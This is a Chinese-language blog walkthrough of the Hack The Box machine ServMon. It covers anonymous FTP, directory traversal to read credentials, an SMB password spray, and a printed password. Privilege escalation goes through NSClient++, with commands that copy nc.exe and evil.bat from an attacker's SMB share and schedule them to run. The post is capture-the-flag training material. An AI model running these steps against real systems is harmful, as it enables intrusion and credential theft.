HTB ServMon

0x01 端口扫描


关注点优先在21可匿名访问的ftp、445的smb、80的http和8443的https,最后是22ssh

0x02 ftp

1
wget -r ftp://anonymous:@10.129.227.77

Nathan的密码在他的桌面上

0x03 smb

0x04 web

80看起来是一个sso,搜索后得知是视频监控管理系统,寻找公开漏洞

目录穿越,猜测直接读前面说的桌面凭据

先拿密码对smb喷洒

0x05 smb

1
nxc smb 10.129.227.77 -u user.txt -p pass.txt

1
ServMon\Nadine:L1k3B1gBut7s@W0rk

没有收获,转向ssh

0x06 ssh

1
2
powershell -c "gci -r -file c:\users -ErrorAction SilentlyContinue"
powershell -c "gc C:\users\Nadine\Desktop\user.txt"

0x07 提权

还有8443的web没看

查看利用,两个都是在说认证后可提权到system

根据利用查看配置文件

密码是ew2x6SsGTxjRwXOT,只能从127访问,正好有ssh做一次端口转发

1
ssh nadine@10.129.227.77 -L 8443:127.0.0.1:8443

半天没找到登录,看了wp发现火狐加载有问题,要用谷歌,所以把流量转发到0.0.0.0,在宿主机看

1
ssh -g nadine@10.129.211.198 -L 0.0.0.0:8443:127.0.0.1:8443

成功登录,按照利用,先确认目标模块开启:

把nc和evil.bat准备好

1
2
3
net use \\10.10.16.8\share /user:fyhypo fyhypo
copy \\10.10.16.8\share\nc.exe .\nc.exe
copy \\10.10.16.8\share\evil.bat .\evil.bat

按照利用先添加脚本
Settings > external scripts > scripts > +Add new

现在已经添加了脚本,接着添加执行该脚本的任务
scheduler > schedules > +Add new

按照利用,这次需要配置两组值:interval=10s、command=fyhypo

然后重启
Control –> Reload


HTB ServMon
https://fyhypo.github.io/blog/HTB/HTB ServMon/
作者
FYHypo
发布于
2024年8月31日
许可协议